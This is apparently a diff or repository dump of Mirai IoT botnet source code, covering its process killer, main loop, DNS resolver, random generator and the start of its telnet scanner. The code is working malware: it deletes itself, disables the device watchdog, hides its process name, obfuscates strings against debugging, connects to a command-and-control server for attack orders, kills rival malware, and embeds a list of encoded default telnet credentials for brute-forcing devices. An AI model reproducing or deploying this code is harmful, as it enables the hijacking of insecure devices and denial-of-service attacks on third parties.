util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
if ((fd_dir = opendir(path)) != NULL)
{
while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0)
{
char *fd_str = fd_entry->d_name;
util_zero(exe, PATH_MAX);
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
util_strcpy(ptr_path + util_strlen(ptr_path), "/");
util_strcpy(ptr_path + util_strlen(ptr_path), fd_str);
if (readlink(path, exe, PATH_MAX) == -1)
continue;
if (util_stristr(exe, util_strlen(exe), inode) != -1)
{
#ifdef DEBUG
printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port));
#else
kill(util_atoi(pid, 10), 9);
#endif
ret = 1;
}
}
closedir(fd_dir);
}
}
closedir(dir);
}
sleep(1);
table_lock_val(TABLE_KILLER_PROC);
table_lock_val(TABLE_KILLER_EXE);
table_lock_val(TABLE_KILLER_FD);
return ret;
}
static BOOL has_exe_access(void)
{
char path[PATH_MAX], *ptr_path = path, tmp[16];
int fd, k_rp_len;
table_unlock_val(TABLE_KILLER_PROC);
table_unlock_val(TABLE_KILLER_EXE);
// Copy /proc/$pid/exe into path
ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp));
ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
// Try to open file
if ((fd = open(path, O_RDONLY)) == -1)
{
#ifdef DEBUG
printf("[killer] Failed to open()\n");
#endif
return FALSE;
}
close(fd);
table_lock_val(TABLE_KILLER_PROC);
table_lock_val(TABLE_KILLER_EXE);
if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1)
{
killer_realpath[k_rp_len] = 0;
#ifdef DEBUG
printf("[killer] Detected we are running out of `%s`\n", killer_realpath);
#endif
}
util_zero(path, ptr_path - path);
return TRUE;
}
/*
static BOOL status_upx_check(char *exe_path, char *status_path)
{
int fd, ret;
if ((fd = open(exe_path, O_RDONLY)) != -1)
{
close(fd);
return FALSE;
}
if ((fd = open(status_path, O_RDONLY)) == -1)
return FALSE;
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
{
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
{
found = TRUE;
break;
}
}
//eyy
close(fd);
return FALSE;
}
*/
static BOOL memory_scan_match(char *path)
{
int fd, ret;
char rdbuf[4096];
char *m_qbot_report, *m_qbot_http, *m_qbot_dup, *m_upx_str, *m_zollard;
int m_qbot_len, m_qbot2_len, m_qbot3_len, m_upx_len, m_zollard_len;
BOOL found = FALSE;
if ((fd = open(path, O_RDONLY)) == -1)
return FALSE;
table_unlock_val(TABLE_MEM_QBOT);
table_unlock_val(TABLE_MEM_QBOT2);
table_unlock_val(TABLE_MEM_QBOT3);
table_unlock_val(TABLE_MEM_UPX);
table_unlock_val(TABLE_MEM_ZOLLARD);
m_qbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_qbot_len);
m_qbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_qbot2_len);
m_qbot_dup = table_retrieve_val(TABLE_MEM_QBOT3, &m_qbot3_len);
m_upx_str = table_retrieve_val(TABLE_MEM_UPX, &m_upx_len);
m_zollard = table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len);
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
{
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
{
found = TRUE;
break;
}
}
table_lock_val(TABLE_MEM_QBOT);
table_lock_val(TABLE_MEM_QBOT2);
table_lock_val(TABLE_MEM_QBOT3);
table_lock_val(TABLE_MEM_UPX);
table_lock_val(TABLE_MEM_ZOLLARD);
close(fd);
return found;
}
static BOOL mem_exists(char *buf, int buf_len, char *str, int str_len)
{
int matches = 0;
if (str_len > buf_len)
return FALSE;
while (buf_len--)
{
if (*buf++ == str[matches])
{
if (++matches == str_len)
return TRUE;
}
else
matches = 0;
}
return FALSE;
}

19
mirai/bot/killer.h Executable file
View File

@ -0,0 +1,19 @@
#pragma once
#include "includes.h"
#define KILLER_MIN_PID 400
#define KILLER_RESTART_SCAN_TIME 600
#define KILLER_REBIND_TELNET
// #define KILLER_REBIND_SSH
// #define KILLER_REBIND_HTTP
void killer_init(void);
void killer_kill(void);
BOOL killer_kill_by_port(port_t);
static BOOL has_exe_access(void);
static BOOL memory_scan_match(char *);
static BOOL status_upx_check(char *, char *);
static BOOL mem_exists(char *, int, char *, int);

533
mirai/bot/main.c Executable file
View File

@ -0,0 +1,533 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/prctl.h>
#include <sys/select.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <time.h>
#include <errno.h>
#include "includes.h"
#include "table.h"
#include "rand.h"
#include "attack.h"
#include "killer.h"
#include "scanner.h"
#include "util.h"
#include "resolv.h"
static void anti_gdb_entry(int);
static void resolve_cnc_addr(void);
static void establish_connection(void);
static void teardown_connection(void);
static void ensure_single_instance(void);
static BOOL unlock_tbl_if_nodebug(char *);
struct sockaddr_in srv_addr;
int fd_ctrl = -1, fd_serv = -1;
BOOL pending_connection = FALSE;
void (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry
#ifdef DEBUG
static void segv_handler(int sig, siginfo_t *si, void *unused)
{
printf("Got SIGSEGV at address: 0x%lx\n", (long) si->si_addr);
exit(EXIT_FAILURE);
}
#endif
int main(int argc, char **args)
{
char *tbl_exec_succ;
char name_buf[32];
char id_buf[32];
int name_buf_len;
int tbl_exec_succ_len;
int pgid, pings = 0;
#ifndef DEBUG
sigset_t sigs;
int wfd;
// Delete self
unlink(args[0]);
// Signal based control flow
sigemptyset(&sigs);
sigaddset(&sigs, SIGINT);
sigprocmask(SIG_BLOCK, &sigs, NULL);
signal(SIGCHLD, SIG_IGN);
signal(SIGTRAP, &anti_gdb_entry);
// Prevent watchdog from rebooting device
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
(wfd = open("/dev/misc/watchdog", 2)) != -1)
{
int one = 1;
ioctl(wfd, 0x80045704, &one);
close(wfd);
wfd = 0;
}
chdir("/");
#endif
#ifdef DEBUG
printf("DEBUG MODE YO\n");
sleep(1);
struct sigaction sa;
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
sa.sa_sigaction = segv_handler;
if (sigaction(SIGSEGV, &sa, NULL) == -1)
perror("sigaction");
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
sa.sa_sigaction = segv_handler;
if (sigaction(SIGBUS, &sa, NULL) == -1)
perror("sigaction");
#endif
LOCAL_ADDR = util_local_addr();
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR;
srv_addr.sin_port = htons(FAKE_CNC_PORT);
#ifdef DEBUG
unlock_tbl_if_nodebug(args[0]);
anti_gdb_entry(0);
#else
if (unlock_tbl_if_nodebug(args[0]))
raise(SIGTRAP);
#endif
ensure_single_instance();
rand_init();
util_zero(id_buf, 32);
if (argc == 2 && util_strlen(args[1]) < 32)
{
util_strcpy(id_buf, args[1]);
util_zero(args[1], util_strlen(args[1]));
}
// Hide argv0
name_buf_len = ((rand_next() % 4) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
util_strcpy(args[0], name_buf);
// Hide process name
name_buf_len = ((rand_next() % 6) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
prctl(PR_SET_NAME, name_buf);
// Print out system exec
table_unlock_val(TABLE_EXEC_SUCCESS);
tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);
write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);
write(STDOUT, "\n", 1);
table_lock_val(TABLE_EXEC_SUCCESS);
#ifndef DEBUG
if (fork() > 0)
return 0;
pgid = setsid();
close(STDIN);
close(STDOUT);
close(STDERR);
#endif
attack_init();
killer_init();
#ifndef DEBUG
#ifdef MIRAI_TELNET
scanner_init();
#endif
#endif
while (TRUE)
{
fd_set fdsetrd, fdsetwr, fdsetex;
struct timeval timeo;
int mfd, nfds;
FD_ZERO(&fdsetrd);
FD_ZERO(&fdsetwr);
// Socket for accept()
if (fd_ctrl != -1)
FD_SET(fd_ctrl, &fdsetrd);
// Set up CNC sockets
if (fd_serv == -1)
establish_connection();
if (pending_connection)
FD_SET(fd_serv, &fdsetwr);
else
FD_SET(fd_serv, &fdsetrd);
// Get maximum FD for select
if (fd_ctrl > fd_serv)
mfd = fd_ctrl;
else
mfd = fd_serv;
// Wait 10s in call to select()
timeo.tv_usec = 0;
timeo.tv_sec = 10;
nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
if (nfds == -1)
{
#ifdef DEBUG
printf("select() errno = %d\n", errno);
#endif
continue;
}
else if (nfds == 0)
{
uint16_t len = 0;
if (pings++ % 6 == 0)
send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
}
// Check if we need to kill ourselves
if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd))
{
struct sockaddr_in cli_addr;
socklen_t cli_addr_len = sizeof (cli_addr);
accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len);
#ifdef DEBUG
printf("[main] Detected newer instance running! Killing self\n");
#endif
#ifdef MIRAI_TELNET
scanner_kill();
#endif
killer_kill();
attack_kill_all();
kill(pgid * -1, 9);
exit(0);
}
// Check if CNC connection was established or timed out or errored
if (pending_connection)
{
pending_connection = FALSE;
if (!FD_ISSET(fd_serv, &fdsetwr))
{
#ifdef DEBUG
printf("[main] Timed out while connecting to CNC\n");
#endif
teardown_connection();
}
else
{
int err = 0;
socklen_t err_len = sizeof (err);
getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err != 0)
{
#ifdef DEBUG
printf("[main] Error while connecting to CNC code=%d\n", err);
#endif
close(fd_serv);
fd_serv = -1;
sleep((rand_next() % 10) + 1);
}
else
{
uint8_t id_len = util_strlen(id_buf);
LOCAL_ADDR = util_local_addr();
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
if (id_len > 0)
{
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
}
#ifdef DEBUG
printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR);
#endif
}
}
}
else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd))
{
int n;
uint16_t len;
char rdbuf[1024];
// Try to read in buffer length from CNC
errno = 0;
n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK);
if (n == -1)
{
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
continue;
else
n = 0; // Cause connection to close
}
// If n == 0 then we close the connection!
if (n == 0)
{
#ifdef DEBUG
printf("[main] Lost connection with CNC (errno = %d) 1\n", errno);
#endif
teardown_connection();
continue;
}
// Convert length to network order and sanity check length
if (len == 0) // If it is just a ping, no need to try to read in buffer data
{
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length
continue;
}
len = ntohs(len);
if (len > sizeof (rdbuf))
{
close(fd_serv);
fd_serv = -1;
}
// Try to read in buffer from CNC
errno = 0;
n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK);
if (n == -1)
{
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
continue;
else
n = 0;
}
// If n == 0 then we close the connection!
if (n == 0)
{
#ifdef DEBUG
printf("[main] Lost connection with CNC (errno = %d) 2\n", errno);
#endif
teardown_connection();
continue;
}
// Actually read buffer length and buffer data
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
len = ntohs(len);
recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);
#ifdef DEBUG
printf("[main] Received %d bytes from CNC\n", len);
#endif
if (len > 0)
attack_parse(rdbuf, len);
}
}
return 0;
}
static void anti_gdb_entry(int sig)
{
resolve_func = resolve_cnc_addr;
}
static void resolve_cnc_addr(void)
{
struct resolv_entries *entries;
table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);
if (entries == NULL)
{
#ifdef DEBUG
printf("[main] Failed to resolve CNC address\n");
#endif
return;
}
srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
resolv_entries_free(entries);
table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);
#ifdef DEBUG
printf("[main] Resolved domain\n");
#endif
}
static void establish_connection(void)
{
#ifdef DEBUG
printf("[main] Attempting to connect to CNC\n");
#endif
if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
#ifdef DEBUG
printf("[main] Failed to call socket(). Errno = %d\n", errno);
#endif
return;
}
fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0));
// Should call resolve_cnc_addr
if (resolve_func != NULL)
resolve_func();
pending_connection = TRUE;
connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in));
}
static void teardown_connection(void)
{
#ifdef DEBUG
printf("[main] Tearing down connection to CNC!\n");
#endif
if (fd_serv != -1)
close(fd_serv);
fd_serv = -1;
sleep(1);
}
static void ensure_single_instance(void)
{
static BOOL local_bind = TRUE;
struct sockaddr_in addr;
int opt = 1;
if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return;
setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
addr.sin_port = htons(SINGLE_INSTANCE_PORT);
// Try to bind to the control port
errno = 0;
if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
if (errno == EADDRNOTAVAIL && local_bind)
local_bind = FALSE;
#ifdef DEBUG
printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
#endif
// Reset addr just in case
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(SINGLE_INSTANCE_PORT);
if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("[main] Failed to connect to fd_ctrl to request process termination\n");
#endif
}
sleep(5);
close(fd_ctrl);
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
ensure_single_instance(); // Call again, so that we are now the control
}
else
{
if (listen(fd_ctrl, 1) == -1)
{
#ifdef DEBUG
printf("[main] Failed to call listen() on fd_ctrl\n");
close(fd_ctrl);
sleep(5);
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
ensure_single_instance();
#endif
}
#ifdef DEBUG
printf("[main] We are the only process on this system!\n");
#endif
}
}
static BOOL unlock_tbl_if_nodebug(char *argv0)
{
// ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72
char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12];
int i, ii = 0, c = 0;
uint8_t fold = 0xAF;
void (*obf_funcs[]) (void) = {
(void (*) (void))ensure_single_instance,
(void (*) (void))table_unlock_val,
(void (*) (void))table_retrieve_val,
(void (*) (void))table_init, // This is the function we actually want to run
(void (*) (void))table_lock_val,
(void (*) (void))util_memcpy,
(void (*) (void))util_strcmp,
(void (*) (void))killer_init,
(void (*) (void))anti_gdb_entry
};
BOOL matches;
for (i = 0; i < 7; i++)
c += (long)obf_funcs[i];
if (c == 0)
return FALSE;
// We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3
for (i = 0; i < sizeof (buf_src); i += 3)
{
char tmp = buf_src[i];
buf_dst[ii++] = buf_src[i + 1];
buf_dst[ii++] = tmp;
// Meaningless tautology that gets you right back where you started
i *= 2;
i += 14;
i /= 2;
i -= 7;
// Mess with 0xAF
fold += ~argv0[ii % util_strlen(argv0)];
}
fold %= (sizeof (obf_funcs) / sizeof (void *));
#ifndef DEBUG
(obf_funcs[fold])();
matches = util_strcmp(argv0, buf_dst);
util_zero(buf_src, sizeof (buf_src));
util_zero(buf_dst, sizeof (buf_dst));
return matches;
#else
table_init();
return TRUE;
#endif
}

34
mirai/bot/protocol.h Executable file
View File

@ -0,0 +1,34 @@
#pragma once
#include <stdint.h>
#include "includes.h"
struct dnshdr {
uint16_t id, opts, qdcount, ancount, nscount, arcount;
};
struct dns_question {
uint16_t qtype, qclass;
};
struct dns_resource {
uint16_t type, _class;
uint32_t ttl;
uint16_t data_len;
} __attribute__((packed));
struct grehdr {
uint16_t opts, protocol;
};
#define PROTO_DNS_QTYPE_A 1
#define PROTO_DNS_QCLASS_IP 1
#define PROTO_TCP_OPT_NOP 1
#define PROTO_TCP_OPT_MSS 2
#define PROTO_TCP_OPT_WSS 3
#define PROTO_TCP_OPT_SACK 4
#define PROTO_TCP_OPT_TSVAL 8
#define PROTO_GRE_TRANS_ETH 0x6558

84
mirai/bot/rand.c Executable file
View File

@ -0,0 +1,84 @@
#define _GNU_SOURCE
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include "includes.h"
#include "rand.h"
static uint32_t x, y, z, w;
void rand_init(void)
{
x = time(NULL);
y = getpid() ^ getppid();
z = clock();
w = z ^ y;
}
uint32_t rand_next(void) //period 2^96-1
{
uint32_t t = x;
t ^= t << 11;
t ^= t >> 8;
x = y; y = z; z = w;
w ^= w >> 19;
w ^= t;
return w;
}
void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len
{
while (len > 0)
{
if (len >= 4)
{
*((uint32_t *)str) = rand_next();
str += sizeof (uint32_t);
len -= sizeof (uint32_t);
}
else if (len >= 2)
{
*((uint16_t *)str) = rand_next() & 0xFFFF;
str += sizeof (uint16_t);
len -= sizeof (uint16_t);
}
else
{
*str++ = rand_next() & 0xFF;
len--;
}
}
}
void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str
{
const char alphaset[] = "abcdefghijklmnopqrstuvw012345678";
while (len > 0)
{
if (len >= sizeof (uint32_t))
{
int i;
uint32_t entropy = rand_next();
for (i = 0; i < sizeof (uint32_t); i++)
{
uint8_t tmp = entropy & 0xff;
entropy = entropy >> 8;
tmp = tmp >> 3;
*str++ = alphaset[tmp];
}
len -= sizeof (uint32_t);
}
else
{
*str++ = rand_next() % (sizeof (alphaset));
len--;
}
}
}

10
mirai/bot/rand.h Executable file
View File

@ -0,0 +1,10 @@
#pragma once
#include <stdint.h>
#define PHI 0x9e3779b9
void rand_init(void);
uint32_t rand_next(void);
void rand_str(char *, int);
void rand_alphastr(uint8_t *, int);

237
mirai/bot/resolv.c Executable file
View File

@ -0,0 +1,237 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/select.h>
#include <errno.h>
#include "includes.h"
#include "resolv.h"
#include "util.h"
#include "rand.h"
#include "protocol.h"
void resolv_domain_to_hostname(char *dst_hostname, char *src_domain)
{
int len = util_strlen(src_domain) + 1;
char *lbl = dst_hostname, *dst_pos = dst_hostname + 1;
uint8_t curr_len = 0;
while (len-- > 0)
{
char c = *src_domain++;
if (c == '.' || c == 0)
{
*lbl = curr_len;
lbl = dst_pos++;
curr_len = 0;
}
else
{
curr_len++;
*dst_pos++ = c;
}
}
*dst_pos = 0;
}
static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count)
{
unsigned int jumped = 0, offset;
*count = 1;
while(*reader != 0)
{
if(*reader >= 192)
{
offset = (*reader)*256 + *(reader+1) - 49152;
reader = buffer + offset - 1;
jumped = 1;
}
reader = reader+1;
if(jumped == 0)
*count = *count + 1;
}
if(jumped == 1)
*count = *count + 1;
}
struct resolv_entries *resolv_lookup(char *domain)
{
struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries));
char query[2048], response[2048];
struct dnshdr *dnsh = (struct dnshdr *)query;
char *qname = (char *)(dnsh + 1);
resolv_domain_to_hostname(qname, domain);
struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
struct sockaddr_in addr = {0};
int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question);
int tries = 0, fd = -1, i = 0;
uint16_t dns_id = rand_next() % 0xffff;
util_zero(&addr, sizeof (struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
addr.sin_port = htons(53);
// Set up the dns query
dnsh->id = dns_id;
dnsh->opts = htons(1 << 8); // Recursion desired
dnsh->qdcount = htons(1);
dnst->qtype = htons(PROTO_DNS_QTYPE_A);
dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
while (tries++ < 5)
{
fd_set fdset;
struct timeval timeo;
int nfds;
if (fd != -1)
close(fd);
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
#ifdef DEBUG
printf("[resolv] Failed to create socket\n");
#endif
sleep(1);
continue;
}
if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("[resolv] Failed to call connect on udp socket\n");
#endif
sleep(1);
continue;
}
if (send(fd, query, query_len, MSG_NOSIGNAL) == -1)
{
#ifdef DEBUG
printf("[resolv] Failed to send packet: %d\n", errno);
#endif
sleep(1);
continue;
}
fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0));
FD_ZERO(&fdset);
FD_SET(fd, &fdset);
timeo.tv_sec = 5;
timeo.tv_usec = 0;
nfds = select(fd + 1, &fdset, NULL, NULL, &timeo);
if (nfds == -1)
{
#ifdef DEBUG
printf("[resolv] select() failed\n");
#endif
break;
}
else if (nfds == 0)
{
#ifdef DEBUG
printf("[resolv] Couldn't resolve %s in time. %d tr%s\n", domain, tries, tries == 1 ? "y" : "ies");
#endif
continue;
}
else if (FD_ISSET(fd, &fdset))
{
#ifdef DEBUG
printf("[resolv] Got response from select\n");
#endif
int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL);
char *name;
struct dnsans *dnsa;
uint16_t ancount;
int stop;
if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question)))
continue;
dnsh = (struct dnshdr *)response;
qname = (char *)(dnsh + 1);
dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
name = (char *)(dnst + 1);
if (dnsh->id != dns_id)
continue;
if (dnsh->ancount == 0)
continue;
ancount = ntohs(dnsh->ancount);
while (ancount-- > 0)
{
struct dns_resource *r_data = NULL;
resolv_skip_name(name, response, &stop);
name = name + stop;
r_data = (struct dns_resource *)name;
name = name + sizeof(struct dns_resource);
if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP))
{
if (ntohs(r_data->data_len) == 4)
{
uint32_t *p;
uint8_t tmp_buf[4];
for(i = 0; i < 4; i++)
tmp_buf[i] = name[i];
p = (uint32_t *)tmp_buf;
entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t));
entries->addrs[entries->addrs_len++] = (*p);
#ifdef DEBUG
printf("[resolv] Found IP address: %08x\n", (*p));
#endif
}
name = name + ntohs(r_data->data_len);
} else {
resolv_skip_name(name, response, &stop);
name = name + stop;
}
}
}
break;
}
close(fd);
#ifdef DEBUG
printf("Resolved %s to %d IPv4 addresses\n", domain, entries->addrs_len);
#endif
if (entries->addrs_len > 0)
return entries;
else
{
resolv_entries_free(entries);
return NULL;
}
}
void resolv_entries_free(struct resolv_entries *entries)
{
if (entries == NULL)
return;
if (entries->addrs != NULL)
free(entries->addrs);
free(entries);
}

12
mirai/bot/resolv.h Executable file
View File

@ -0,0 +1,12 @@
#pragma once
#include "includes.h"
struct resolv_entries {
uint8_t addrs_len;
ipv4_t *addrs;
};
void resolv_domain_to_hostname(char *, char *);
struct resolv_entries *resolv_lookup(char *);
void resolv_entries_free(struct resolv_entries *);

991
mirai/bot/scanner.c Executable file
View File

@ -0,0 +1,991 @@
#define _GNU_SOURCE
#ifdef MIRAI_TELNET
#ifdef DEBUG
#include <stdio.h>
#endif
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/types.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include "includes.h"
#include "scanner.h"
#include "table.h"
#include "rand.h"
#include "util.h"
#include "checksum.h"
#include "resolv.h"
int scanner_pid, rsck, rsck_out, auth_table_len = 0;
char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};
struct scanner_auth *auth_table = NULL;
struct scanner_connection *conn_table;
uint16_t auth_table_max_weight = 0;
uint32_t fake_time = 0;
int recv_strip_null(int sock, void *buf, int len, int flags)
{
int ret = recv(sock, buf, len, flags);
if (ret > 0)
{
int i = 0;
for(i = 0; i < ret; i++)
{
if (((char *)buf)[i] == 0x00)
{
((char *)buf)[i] = 'A';
}
}
}
return ret;
}
void scanner_init(void)
{
int i;
uint16_t source_port;
struct iphdr *iph;
struct tcphdr *tcph;
// Let parent continue on main thread
scanner_pid = fork();
if (scanner_pid > 0 || scanner_pid == -1)
return;
LOCAL_ADDR = util_local_addr();
rand_init();
fake_time = time(NULL);
conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
conn_table[i].state = SC_CLOSED;
conn_table[i].fd = -1;
}
// Set up raw socket scanning and payload
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("[scanner] Failed to initialize raw socket, cannot scan\n");
#endif
exit(0);
}
fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));
i = 1;
if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)
{
#ifdef DEBUG
printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n");
#endif
close(rsck);
exit(0);
}
do
{
source_port = rand_next() & 0xffff;
}
while (ntohs(source_port) < 1024);
iph = (struct iphdr *)scanner_rawpkt;
tcph = (struct tcphdr *)(iph + 1);
// Set up IPv4 header
iph->ihl = 5;
iph->version = 4;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
iph->id = rand_next();
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
// Set up TCP header
tcph->dest = htons(23);
tcph->source = source_port;
tcph->doff = 5;
tcph->window = rand_next() & 0xffff;
tcph->syn = TRUE;
// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
